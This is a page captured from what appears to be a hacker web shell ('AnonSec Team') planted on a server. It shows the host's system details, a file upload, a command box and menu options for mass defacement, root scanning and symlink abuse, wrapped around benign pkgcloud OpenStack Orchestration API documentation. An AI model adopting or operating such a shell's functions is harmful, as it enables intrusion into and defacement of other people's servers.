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/  Your IP : 104.23.243.116   [ Reverse IP ]
Web Server : nginx/1.18.0
System : Linux ip-172-31-29-104 5.15.0-1075-aws #82~20.04.1-Ubuntu SMP Thu Dec 19 05:24:09 UTC 2024 x86_64
User : www-data ( 33)
PHP Version : 7.4.3-4ubuntu2.29
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
Domains : 2 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/app/eseso/api/node_modules/pkgcloud/docs/providers/openstack/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /var/app/eseso/api/node_modules/pkgcloud/docs/providers/openstack/orchestration.md
##Using the OpenStack Orchestration provider

Creating a client is straight-forward:

``` js
  var openstack = pkgcloud.orchestration.createClient({
    provider: 'openstack', // required
    username: 'your-user-name', // required
    password: 'your-password', // required
    authUrl: 'your identity service url' // required
  });
```

**Note:** *Due to variances between OpenStack deployments, you may or may not need a `region` option.*

[More options for creating clients](README.md)

### API Methods

## Stacks

#### client.getStacks([options], callback)
Lists all stacks that are available to use on your OpenStack account

Callback returns `f(err, stacks)` where `stacks` is an `Array`

#### client.createStack(options, callback)
Creates a stack with the options specified.

Options are as follows:

```js
{
  name: 'my-stack-name', // required
  timeout: 30,    // timeout, in minutes, required
  templateUrl: 'http://path.to.some.openstack.heat.template', // required, unless you pass template directly
  template: { ... }, // optional, unless you don't provide templateUrl
  parameters: { ... },  // optional parameters for the stack
  environment: { ... },  // optional environment values for the stack
  files: { ... }, // optional files for the stack
}
```
Returns the stack in the callback `f(err, stack)`

#### client.getStack(stack, callback)
Retrieves the provided stack or stackId from the service. Callback has the signature `f(err, stack)`.

Result stack-object includes following fields
```js
{
  id: ,
  name: ,
  status: ,
  description: ,
  templateDescription: ,
  statusReason: ,
  owner: ,
  disableRollback: ,
  parameters: ,
  capabilities: ,
  notificationTopics: ,
  timeout: ,
  createdAt: ,
  updatedAt: ,
  outputs:  // Outputs field has value only if outputs are defined in template and the stack has been instantiated.  
}
```

#### client.previewStack(details, callback)
Identical to the `client.createStack()` call, except it only previews the creation, instead of actually provisioning
the stack.

Returns the previewed stack in the callback `f(err, stack)`

#### client.adoptStack(details, callback)
Identical to the `client.createStack()` call, except it requires passing `details.stackData` which is the `abandonedStack`
value returned from `client.abandonStack()`.

Returns the created stack in the callback `f(err, stack)`

#### client.updateStack(stack, callback)

Update the provided stack.

The following values from the provided stack are updatable.

```js
{
  name: 'my-stack-name', // required
  timeout: 30,    // timeout, in minutes, required
  templateUrl: 'http://path.to.some.openstack.heat.template', // required, unless you pass template directly
  template: { ... }, // optional, unless you don't provide templateUrl
  parameters: { ... },  // optional parameters for the stack
  environment: { ... },  // optional environment values for the stack
  files: { ... }, // optional files for the stack
}
```

#### client.deleteStack(stack, callback)

Delete the created stack, and delete the resources. Callback is `f(err)`.

#### client.abandonStack(stack, callback)

Delete the created stack, but leave the resources running. Will callback with `f(err, abandonedStack)` where the
`abandonedStack` would be passed in as an option to `client.createStack()`.

#### client.getTemplate(stack, callback)

Get the template for a provided stack. Will callback with `f(err, template)`.

## Resources

#### client.getResource(stack, resource, callback)

Get the resource for a provided stack and resource or resourceName in the callback `f(err,
resource)`

#### client.getResources(stack, [options], callback)
Get the resources for a provided stack. Callback is `f(err, resources)`.

Options are as follows:
```js
{
  nestedDepth: 3 // include resources from nested stacks up to nestedDepth levels of recursion
}
```

#### client.getResourceTypes(callback)
Get a list of valid resource types. Callback is `f(err, resourceTypes)`.

#### client.getResourceSchema(resourceType, callback)
Get the schema for a provided resourceType. Callback is `f(err, resourceSchema)`.

#### client.getResourceTemplate(resourceType, callback)
Get the template for a provided resourceType. Callback is `f(err, resourceTemplate)`.

## Events

#### client.getEvent(stack, resource, eventId, callback)
Get the event for a provided stack, resource and eventId.

`f(err, event)`

#### client.getEvents(stack, callback)
Get all of the events for a provided stack

`f(err, events)`

#### client.getResourceEvents(stack, resource, callback)
Get all of the events for a stack and resource.

`f(err, events)`

## Templates

#### client.validateTemplate(template, callback)
Validates a provided template, with a callback of `f(err, template)`.

Anon7 - 2022
AnonSec Team